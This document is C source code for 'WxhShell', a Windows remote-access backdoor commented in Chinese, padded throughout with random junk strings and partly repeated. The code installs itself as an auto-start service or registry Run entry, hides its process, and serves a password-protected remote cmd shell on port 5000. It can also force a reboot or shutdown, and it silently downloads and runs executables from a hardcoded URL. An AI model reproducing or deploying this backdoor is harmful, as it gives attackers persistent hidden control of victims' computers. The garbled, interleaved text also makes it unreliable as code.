PQQU~^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tp}/>gU! if(NULL == hInst ) return 0; 'E9{qPLk( P*BRebL: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^;<d<V}* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bf0,3~G,P NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D<d,9 S,) j
:B/ FL if (!NtQueryInformationProcess) return 0; &`@YdZtd" &TBFt; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mq)]2>"v if(!hProcess) return 0; 6" * <0 Q;8z&4s@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PXYLLX\3 myR{}G CloseHandle(hProcess); O&BvWik ,\iHgsZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +4_, , I if(hProcess==NULL) return 0; KCyV |,+n gAWi& HMODULE hMod; 17Cb{Q char procName[255]; 9>w~B|/ unsigned long cbNeeded; fV|uKs(W olv?$]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k3qQU) (cOe*>L; CloseHandle(hProcess); d-B+s%>D ZI!: if(strstr(procName,"services")) return 1; // 以服务启动 uL^; i"" 9=ygkP Y return 0; // 注册表启动 Q}@t' } O'wmhLa"W h'-4nu;* // 主模块 p?y2j int StartWxhshell(LPSTR lpCmdLine) ;7z6B|8 { |T""v_q SOCKET wsl; q7Hf7^a BOOL val=TRUE; ?d-w#<AiV int port=0; sQ#e 2 struct sockaddr_in door; x^[,0?y2 [[IMf-] if(wscfg.ws_autoins) Install(); z qq ;zJb("n port=atoi(lpCmdLine); Sc[#]2 } ][S q^5` if(port<=0) port=wscfg.ws_port; S{;Pga*Px b!@PS$BTxq WSADATA data; =4eJ@EVM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^1.*NG8 Y 3ApW vS if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q
84t= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $o?U= door.sin_family = AF_INET; a
~v$ bNu door.sin_addr.s_addr = inet_addr("127.0.0.1"); PK2;Ywk` door.sin_port = htons(port); pr#%VM[':R SUUNC06V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G(a5@9F closesocket(wsl); <l5i%? return 1;
[Jt}^ } QgqJ # GP%V(HhN if(listen(wsl,2) == INVALID_SOCKET) { M4C8K{} closesocket(wsl); UUV5uDe>i return 1; /9R0}4i7 } \ZLi Y Wxhshell(wsl); O% T?+1E WSACleanup(); &|k=mxox\ UN.;w3`Oc return 0; V6][*.i!9 z,TH}s6 } 3@V?L:J w{W+WJ // 以NT服务方式启动 =
J;I5:J VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,' |J { @JbxGi DWORD status = 0; ynIC (t DWORD specificError = 0xfffffff; G JRl{Y "u^Erj# / serviceStatus.dwServiceType = SERVICE_WIN32; 2PlhnU Q7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;_bRq:!j; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +\T8`iCFB serviceStatus.dwWin32ExitCode = 0; _aFe9+y serviceStatus.dwServiceSpecificExitCode = 0; { ^dq7! serviceStatus.dwCheckPoint = 0; 64?HqO
6( serviceStatus.dwWaitHint = 0; G+<XYkz* a yoC]rE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fe0M2%e;| if (hServiceStatusHandle==0) return; >N |?>M*
J
8%gC status = GetLastError(); 5IF5R# if (status!=NO_ERROR) sv=U^xI { KHAc!4lA serviceStatus.dwCurrentState = SERVICE_STOPPED; \AwkK3 serviceStatus.dwCheckPoint = 0; "A}sD7xy9 serviceStatus.dwWaitHint = 0; ^N/d`IAjv serviceStatus.dwWin32ExitCode = status; qk<jvha serviceStatus.dwServiceSpecificExitCode = specificError; V~dhTdQ5} SetServiceStatus(hServiceStatusHandle, &serviceStatus); AmF[#)90P return; r%=-maPL[ } &gp&i?%X9b v?VDASR2` serviceStatus.dwCurrentState = SERVICE_RUNNING; Ur])*# serviceStatus.dwCheckPoint = 0; 'OA*aQ=K serviceStatus.dwWaitHint = 0; -hXKCb4YU if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9`*ST(0/ } 9-pt}U a.V5fl0?I@ // 处理NT服务事件,比如:启动、停止 qzZ/%{Ak VOID WINAPI NTServiceHandler(DWORD fdwControl) f'=u`*(b7 { M@xU59$@ switch(fdwControl) &4:R(]| { qofAA!3z case SERVICE_CONTROL_STOP: e-rlk5k%f serviceStatus.dwWin32ExitCode = 0; g=t`3X#d serviceStatus.dwCurrentState = SERVICE_STOPPED; \U$:/#1Oe serviceStatus.dwCheckPoint = 0; ;stjqTd serviceStatus.dwWaitHint = 0; G!6b
)4L- { VL*KBJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1sHjM% } 5GM-*Ak @ return; C7C4
eW8 case SERVICE_CONTROL_PAUSE: OyO]; Yk serviceStatus.dwCurrentState = SERVICE_PAUSED; xh2r?K@k> break; '{ _ X1 case SERVICE_CONTROL_CONTINUE: G[>NP#P serviceStatus.dwCurrentState = SERVICE_RUNNING; hWy@?r. break; :IZAdlz[@ case SERVICE_CONTROL_INTERROGATE: i"<W6 break; 8._uwA<[ }; 8%K{l g" SetServiceStatus(hServiceStatusHandle, &serviceStatus); w1tM !4r } yUnV%@. 2fTuIS<yr // 标准应用程序主函数 nB`|VYmOP1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8'*x88+ { LTe ({6l0 Tdcc<T
// 获取操作系统版本 "K(cDV Q OsIsNt=GetOsVer(); ^4fvV\ne_~ GetModuleFileName(NULL,ExeFile,MAX_PATH); 'W(u. _{jC?rzb // 从命令行安装 ~]-n%J$q if(strpbrk(lpCmdLine,"iI")) Install(); fQ5v?( T_S3_-|{== // 下载执行文件 M=raKb?F if(wscfg.ws_downexe) { c]uieig0~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dy_Uh)$$|g WinExec(wscfg.ws_filenam,SW_HIDE); %C/p+Tg } e6taQz@} r.eK; if(!OsIsNt) { uA#K59E+ // 如果时win9x,隐藏进程并且设置为注册表启动 ." xP{ HideProc(); M[`[+5v StartWxhshell(lpCmdLine); 0I.KHIBk } @mCe{r*` else gL_1~"3KGC if(StartFromService()) &<;T$Y // 以服务方式启动 Odo)h StartServiceCtrlDispatcher(DispatchTable); J!l/.:`6 else x[58C + // 普通方式启动 vi}16V84l StartWxhshell(lpCmdLine); %4nf(|8n `-{l$Hn9|~ return 0; (?Mn_FNE| } yn\c;Z )YAa7\Od dM;\)jm ym|7i9 =========================================== qob!AU| }!_z\'u ycBgr,Ynu< F- -g?Q^ BI?, 3 Ef`'r)) " )8C`EPe DP),~8 #include <stdio.h> :%h1Q>F #include <string.h> |yk/iO( #include <windows.h> (B4)L% #include <winsock2.h> S'!&,Dxq^ #include <winsvc.h> +%XByY5 #include <urlmon.h> ];k!*lR) \OVFZ D #pragma comment (lib, "Ws2_32.lib") MAYb.>X#> #pragma comment (lib, "urlmon.lib") "|X'qKS(H{ <XLaJ;j #define MAX_USER 100 // 最大客户端连接数 trDw|WA #define BUF_SOCK 200 // sock buffer "Vq=
Ph #define KEY_BUFF 255 // 输入 buffer OM1Z}%J )>1}I_1j) #define REBOOT 0 // 重启 e#/&A5#Ya #define SHUTDOWN 1 // 关机 Ypzmc$Xfu _$R=F/88 #define DEF_PORT 5000 // 监听端口 O(I^:_eH rhkKK_ #define REG_LEN 16 // 注册表键长度 vCi`htm% #define SVC_LEN 80 // NT服务名长度 ,;t:x|{% 2FuV%\p // 从dll定义API {?:]'c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +\Vw:~e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U^KWRqt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `:=1*7)? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2vpQ"e- A X[$h &] // wxhshell配置信息 BX$<5S@ struct WSCFG { ]<<,{IQ int ws_port; // 监听端口 D\5+2 G char ws_passstr[REG_LEN]; // 口令 B(M-;F int ws_autoins; // 安装标记, 1=yes 0=no #Gi`s?
char ws_regname[REG_LEN]; // 注册表键名 kS_#8I char ws_svcname[REG_LEN]; // 服务名 OvT[JpV char ws_svcdisp[SVC_LEN]; // 服务显示名
7V5c`:" char ws_svcdesc[SVC_LEN]; // 服务描述信息 AM=,:k$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xy:Mb =r int ws_downexe; // 下载执行标记, 1=yes 0=no E@C.}37R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 02Vfg42 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]D;*2Lw4& /4(HVua }; J\@g3oGw P@@MQ[u?!. // default Wxhshell configuration 0]5XTc3r struct WSCFG wscfg={DEF_PORT, zV}:~;w "xuhuanlingzhe", %JDQ[%3qY 1, [q%`q`EG "Wxhshell", Lx>[`QT "Wxhshell", K9ia|2f "WxhShell Service", ,oH\rrglf "Wrsky Windows CmdShell Service", ]*=!lfrV "Please Input Your Password: ", ?ja%*0
R 1, Yr{hJGw[ "http://www.wrsky.com/wxhshell.exe", Njg87tKB "Wxhshell.exe" K3\a~_0 }; i ZPNss cEa8l~GC< // 消息定义模块 0V-jOc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ag2~q char *msg_ws_prompt="\n\r? for help\n\r#>"; m7i_Iv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h._eP.W ` char *msg_ws_ext="\n\rExit."; ^f>c_[fR char *msg_ws_end="\n\rQuit."; FR6 W-L char *msg_ws_boot="\n\rReboot..."; &-FG}|*4M char *msg_ws_poff="\n\rShutdown..."; MS#"TG/) char *msg_ws_down="\n\rSave to "; Il4]1d| &Ih }" char *msg_ws_err="\n\rErr!"; 4z P"h0 char *msg_ws_ok="\n\rOK!"; [*O>Lk mCt/\ char ExeFile[MAX_PATH]; G9-ETj} int nUser = 0; Z":m(}u O HANDLE handles[MAX_USER]; BegO\0%+ int OsIsNt; <gi~:%T e46`"}r SERVICE_STATUS serviceStatus; 9Vq SERVICE_STATUS_HANDLE hServiceStatusHandle; ma-GvWD2 ?8kFAf~ // 函数声明 j5R0e}/r int Install(void); ::{\O\w int Uninstall(void); 1o/(fy int DownloadFile(char *sURL, SOCKET wsh);
v/xlb&Xx int Boot(int flag); T^]]z}k void HideProc(void); evZP*N~G int GetOsVer(void); qJs_ahy( int Wxhshell(SOCKET wsl); E4o{Z+C void TalkWithClient(void *cs); ;]xc}4@=mg int CmdShell(SOCKET sock); IT= y+ int StartFromService(void); ;;i419 int StartWxhshell(LPSTR lpCmdLine); BZhf/{h[@ &a'mG=(K_c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zs t)S( VOID WINAPI NTServiceHandler( DWORD fdwControl ); $X;OK 5"40{3 // 数据结构和表定义 5N>f lQ SERVICE_TABLE_ENTRY DispatchTable[] = (rJ-S"^u { ~]no7O4 {wscfg.ws_svcname, NTServiceMain}, G6{PrV# {NULL, NULL} KM)MUPr }; 0sSBwG J
V}7c$_ // 自我安装 ORKJy)*" int Install(void) Mu:zWLM*M { ;
Yc\O:Qq char svExeFile[MAX_PATH]; |O)ZjLx HKEY key; U) xeta+ strcpy(svExeFile,ExeFile); h`! 4`eI jqvw<+# // 如果是win9x系统,修改注册表设为自启动 2\.23 if(!OsIsNt) { Fv,c8f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gO*Gf2AG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d<
XY"Y% RegCloseKey(key); Pl|I{l*o(` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xS/=9l/G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8hy1yt6t4~ RegCloseKey(key); q2|z
\ return 0; ,0HID:& } S.iUiS" } %#4;'\'5 } NR&a
er else { 0)PZS> Q ijO%) // 如果是NT以上系统,安装为系统服务
tculG|/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zN9@.!?X2 if (schSCManager!=0) g&B7Y|Es { <MO40MP SC_HANDLE schService = CreateService P*Jk 8MK#G ( GRL42xp'*D schSCManager, _u_|U wscfg.ws_svcname, xPT$d,~" wscfg.ws_svcdisp, >>R)?24,< SERVICE_ALL_ACCESS, JKp@fQT * SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @:'E9J06 SERVICE_AUTO_START, ]+^4Yq>2 SERVICE_ERROR_NORMAL, )i39'0a svExeFile, ]Zay9jD}c- NULL, _6n za)OFH NULL, kz#x6NXj NULL, c7?|Tipc NULL, _fj@40i M NULL 3e;K5qSeo/ ); D 5Z7?Y if (schService!=0) [)[?FG9
{ :^QV,d<C CloseServiceHandle(schService); RKs_k`N0 CloseServiceHandle(schSCManager); lg (>n& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aQ 6T2bQ strcat(svExeFile,wscfg.ws_svcname); sh<JB`^$(? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CS"k0V44} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z"sv,W RegCloseKey(key); X~; *zYd5 return 0; Q6X}R,KA1 } jI}{0LW&F& } aJNsJIY+ CloseServiceHandle(schSCManager); *i7-_pT } mxvV~X% } !G~\9 /8(t: return 1; oB}rd9 } LrV4^{9( pHDPj,lu // 自我卸载 ORV'dr int Uninstall(void) +qF,XJ2 { f7]C1!] HKEY key; n-lDE}K9%B E"H> [E if(!OsIsNt) { b WZX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b(g?X
(& RegDeleteValue(key,wscfg.ws_regname); T^ah'WmNw RegCloseKey(key); j~9,Ct if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {[B` q RegDeleteValue(key,wscfg.ws_regname); PmE2T\{s! RegCloseKey(key); o{QPW return 0; 3D7phq>.q } Riz!HtyR } <~qhy{hRn } .l&<-l;UQ else { Wr;?t! EabZ7zFoN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R_DZJV O if (schSCManager!=0) Y{#m=-h { b<rJ@1qtJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ma M8:\ if (schService!=0) uO`YA] { AJH-V
6 if(DeleteService(schService)!=0) { {YgB?kt5 CloseServiceHandle(schService); 'roZ:NE CloseServiceHandle(schSCManager); |[lM2 return 0; AU
+2' } 5zBsu lRt CloseServiceHandle(schService); nK9A=H'Hc } @=[SsS CloseServiceHandle(schSCManager); "&/&v } _7zER6#} } K:eP Il{JE M 9b_Q return 1; D ~Y3\KP } BqKh&m "i1~YE // 从指定url下载文件 Ls^$E int DownloadFile(char *sURL, SOCKET wsh) COK7 i^ { S)*eAON9 HRESULT hr; z_J"Qk char seps[]= "/"; ^25[%aJI char *token; LJMw-#61sj char *file; @kLpK char myURL[MAX_PATH]; [Hww3+~+ char myFILE[MAX_PATH]; |EaEdA@T K G~fDb strcpy(myURL,sURL); =ITMAC\ token=strtok(myURL,seps); i=<N4Vx while(token!=NULL) @BN cIJk9 { 9c1n file=token; J,E'F!{ token=strtok(NULL,seps); f&Bu_r } s3G3_& )*iSN*T8q GetCurrentDirectory(MAX_PATH,myFILE); BS#@ehdig strcat(myFILE, "\\"); Ee##:I[z strcat(myFILE, file); 0%^m send(wsh,myFILE,strlen(myFILE),0); 56m|gZcC send(wsh,"...",3,0); 94F9f^ L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -)aBS3 if(hr==S_OK) 3L4lk8Dd return 0; % ;2x.
else 4y+]V~p return 1; C``%<)WC d*T;RBk } SD6xi\8 8_ns^6XK5p // 系统电源模块 ^6ZA2-f/<8 int Boot(int flag) Q<r O5 -K { lYeot8 HANDLE hToken; G)?O!(_ TOKEN_PRIVILEGES tkp; Ajhrsa\~a '@Y@H, if(OsIsNt) {
#oi4!%*M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :D ?%!Q 0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fdN-Zq@' tkp.PrivilegeCount = 1; oG5JJpLT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yKa}U!$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K,^{|5'3q if(flag==REBOOT) { 1z$;>+g< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -rlxxLT+ return 0; Q4Q*5> } d;(L@9HHD else { VD.p"F(] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +tOBt("5/ return 0; gNzQ"W= } 6lq7zi}'w } v/Z}|dT" else { NJ7N* if(flag==REBOOT) { 6$b"tdP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H4 &
d,8:m return 0; q=}Lm;r } "a6
wd else { xue-5 ' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #=b_!~:% return 0; ^Y~ ,s } FcsEv {#U } As1Er[> klKAwC Q, return 1; ,ibI@8;#~' } Nd#t != Wb!%_1dER // win9x进程隐藏模块 =6j
5, void HideProc(void) hX 9.%-@sR { 7~eo^/PbS m^O:k"+ ! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M,t8<y4W/ if ( hKernel != NULL ) naXo <B { B8|=P&L7N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V_~}7~
I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ph30 /*8 FreeLibrary(hKernel); ~5`rv1$ } {mw,U[C Fx0K.Q2Y0 return; q uv`~qn } .
%tc7`k8 vf~q%+UqK // 获取操作系统版本 0[T!}F^%e int GetOsVer(void) @*q\$Eg}2 { >?b/_O OSVERSIONINFO winfo; h^~eTi;c]Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *AGC[w}/ GetVersionEx(&winfo); }9:\# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mv SNKS return 1; 23pHB|X else T!pWU*aB return 0; . ~G>vVb } 7SXi#{ qp // 客户端句柄模块 y$*Tbzp int Wxhshell(SOCKET wsl) ;r-
\h1iA' { >Bskw2 SOCKET wsh; )`-9WCd& struct sockaddr_in client; mV`Z]-$$i DWORD myID; 4'Vuhqk sTeL4g|%{ while(nUser<MAX_USER) `8xe2=Ub { \KLWOj% int nSize=sizeof(client); isDBNXV: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HHWB_QaL if(wsh==INVALID_SOCKET) return 1; o*f7/ZP1o @ L% 3} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e0j*e7$ if(handles[nUser]==0) l
K}('7\ closesocket(wsh); BA A)IQF else I#Iu:,OT nUser++; Nypa,_9} } jf*M}Q1jHE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C%}FVO\c w;}P<K return 0; %Ni)^ } B\KvKT|\ Gow_a' // 关闭 socket IA$:r@QNx8 void CloseIt(SOCKET wsh) p!|Wp { iZgv
VH closesocket(wsh); Ls5|4%+& nUser--; +7^%fX;3pW ExitThread(0); QI=",vmau } >e=tem~/ ;[ pyKh // 客户端请求句柄 BtVuI5*h void TalkWithClient(void *cs) eMPi ho { <[ 8at6; `L]cJ0tAs SOCKET wsh=(SOCKET)cs; 3"6lPUS char pwd[SVC_LEN]; *]W{83rXQ char cmd[KEY_BUFF]; "sUL"i char chr[1]; dF5EIPl;J int i,j; \gDf&I D;.-e while (nUser < MAX_USER) { ]6GdB3?UVM GBHv| GO if(wscfg.ws_passstr) { Fv.}w_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QyJ}zwD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .,o=# //ZeroMemory(pwd,KEY_BUFF); ?Z.p.v i=0; )ra_`Qdcf while(i<SVC_LEN) { |k^'}n |XtN\9V. // 设置超时 5T:e4U&
fd_set FdRead; (5cc{zKtR struct timeval TimeOut; ?y>P FD_ZERO(&FdRead); r0+lH:G*q FD_SET(wsh,&FdRead); +Hc[5WL TimeOut.tv_sec=8; =;l.<{<VH TimeOut.tv_usec=0; K;k_MA310 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CJ8X Ky
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W.r0W2))( `J'xVq#O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qo4]_,kR pwd=chr[0]; /a[i:Oa# if(chr[0]==0xd || chr[0]==0xa) { _<6
^r pwd=0; A0m break; p^3]Q } 3%bCv_6B i++; F@1~aeX- } 9y{[@KG Aq yR+ // 如果是非法用户,关闭 socket 6NPCp/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B5GT^DaT } jV2L;APCq j1Fy'os"! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @%d g0F}h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4w\
r
`@ k@L},Td while(1) { Dt%Gv0 !8 lG"l|,l ZeroMemory(cmd,KEY_BUFF); k|k ea kj>7\s // 自动支持客户端 telnet标准 m2F2
j=0; n+QUT while(j<KEY_BUFF) { Jr$,w7tQn@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]-QY,
k cmd[j]=chr[0]; O-J;iX } if(chr[0]==0xa || chr[0]==0xd) { 7I;xRo| cmd[j]=0; 5\gL+qM0 break; x' >Nz{B,P } VT8PV5z j++; $&&mGD;?K } 7|% |w )hs"P%Zg // 下载文件 'n4Ro|kA if(strstr(cmd,"http://")) { 8mj Pa^A send(wsh,msg_ws_down,strlen(msg_ws_down),0); hsG~xRA\ if(DownloadFile(cmd,wsh)) r<VZEbm) send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^OV;gp else O'm><a>8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fa<>2KkOr } uu ahR else { x93h{Kf 1P4cBw% switch(cmd[0]) { <7'`N\a |osu4=s| // 帮助 lS@0 $ case '?': { t/55tL send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -#<6 break; Lzmdy0!' } 4<V%7z_.B // 安装 ?*DM|hzOi case 'i': { X$*MxMNs if(Install()) O2i7w1t send(wsh,msg_ws_err,strlen(msg_ws_err),0); mzw`{Oy>L else mj{B_3b5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[wny0 ( break; d*qb^C{'" } (LiS9|J! // 卸载 e"}JHXs case 'r': { zT<fTFJ1 if(Uninstall()) I0iTa99K send(wsh,msg_ws_err,strlen(msg_ws_err),0); z$g
cK>@l else 9NF2a)&~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^Gi;d5 break; #jrtsv] } *Bfo"["0. // 显示 wxhshell 所在路径 ))T@U?r case 'p': { m(>MP/ char svExeFile[MAX_PATH]; 7bV(eV strcpy(svExeFile,"\n\r"); 4X-" yQ<U strcat(svExeFile,ExeFile); mJxr"cwHl send(wsh,svExeFile,strlen(svExeFile),0); 87!D@Xn break; M)x6m|.= } [8C|v61Y // 重启 8F>u6Y[P case 'b': { Q};n%&n& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [T
|P|\M if(Boot(REBOOT)) ~];r{IU send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[Ofa(mkkp else { Yg/g9$' closesocket(wsh); WC Tmf8f ExitThread(0); C/$bgK[ev } "D\>oFu break; ZLjEH7 } t1JU_P // 关机
HNJR&U t case 'd': { p<
Y-b,& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M)F_$
ICE- if(Boot(SHUTDOWN)) #fYRsVQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); vAh'6Ob7r else { Iuyq!R4:7 closesocket(wsh); ! k[JP+; ExitThread(0); z@g%9|U } /!#A'#Z break; LR "=( } v9\U2j // 获取shell ^B_SAZ&%% case 's': { I4|LD/b CmdShell(wsh); r>e1IG closesocket(wsh); KuRJo] ExitThread(0); }qw->+nD break; S$O5jX 0 } ^w!1QH0:/ // 退出 _Sg "|g case 'x': { 9u6VN]divB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D6dliU?k CloseIt(wsh); Z%Pv,h'Q break; XU`ly3! } v<Ywfb // 离开 ^e]O-,UBk case 'q': { ECyG$j0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); eZoAy[ closesocket(wsh); vX7U|zy WSACleanup(); d5>EvK U exit(1); soRYM break; 7KHQ0 } Z2L7US- } RWRqu }a } e^<'H b^STegz // 提示信息 =r)LG,w212 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~_hA{$ } &mW7FR'( } [8<0Q_?, (q0vql return; ^AShy`o^X } QE8`nMf *8J0yv // shell模块句柄 |ZM>UJ int CmdShell(SOCKET sock) 9[`c"Pd { I94-#*~I STARTUPINFO si; $|g
; ZeroMemory(&si,sizeof(si)); l}iQ0v@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jJaMkF;f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1S(n3(KRk$ PROCESS_INFORMATION ProcessInfo; 0K6My4d{ char cmdline[]="cmd"; Yi]`"\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); em95ccs'- return 0; /N({"G' } bEB2q\|Je p>O/H1US; // 自身启动模式 1{5t. int StartFromService(void) oB%_yy+ { Ud Vf/PGx typedef struct F\hVunPVx { `dD_"Hdt DWORD ExitStatus; Z)IF3{* DWORD PebBaseAddress; W"*2,R[}% DWORD AffinityMask; ^Vhl@ DWORD BasePriority; +*w}H
0Z ULONG UniqueProcessId; 3A{)C_1a ULONG InheritedFromUniqueProcessId; m ?; ?I]` } PROCESS_BASIC_INFORMATION; i6A9|G$H 98)C
7N' PROCNTQSIP NtQueryInformationProcess; ]DU?N7J $Mj\ 3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V%)Tu{L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R8:5N3Fx -)B_o#2=2 HANDLE hProcess; .j &# PROCESS_BASIC_INFORMATION pbi; {;E6jw@ ^-Ygh[x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '.;{"G.@' if(NULL == hInst ) return 0; _9t1aP5 52 Qr g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _'ebXrbZB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^[r1Dk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yci} #,nb VH~YwO!x if (!NtQueryInformationProcess) return 0; \v6lcAL- g`Cv[Pq?at hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <xF]ca if(!hProcess) return 0; @&EIH,c [FrLxU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M2w'cdHk uDXV@;6< CloseHandle(hProcess); Z)$@1Q4P?1 fqY'Uq$= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :{ZwzJ if(hProcess==NULL) return 0; [`qdpzUp& DpvHIE:W HMODULE hMod; dr}PjwW% char procName[255]; Y I;iG[T,& unsigned long cbNeeded; knYp"<qj i>,AnkI& if(g_pEnumProcessModules(hProcess, &hMod, 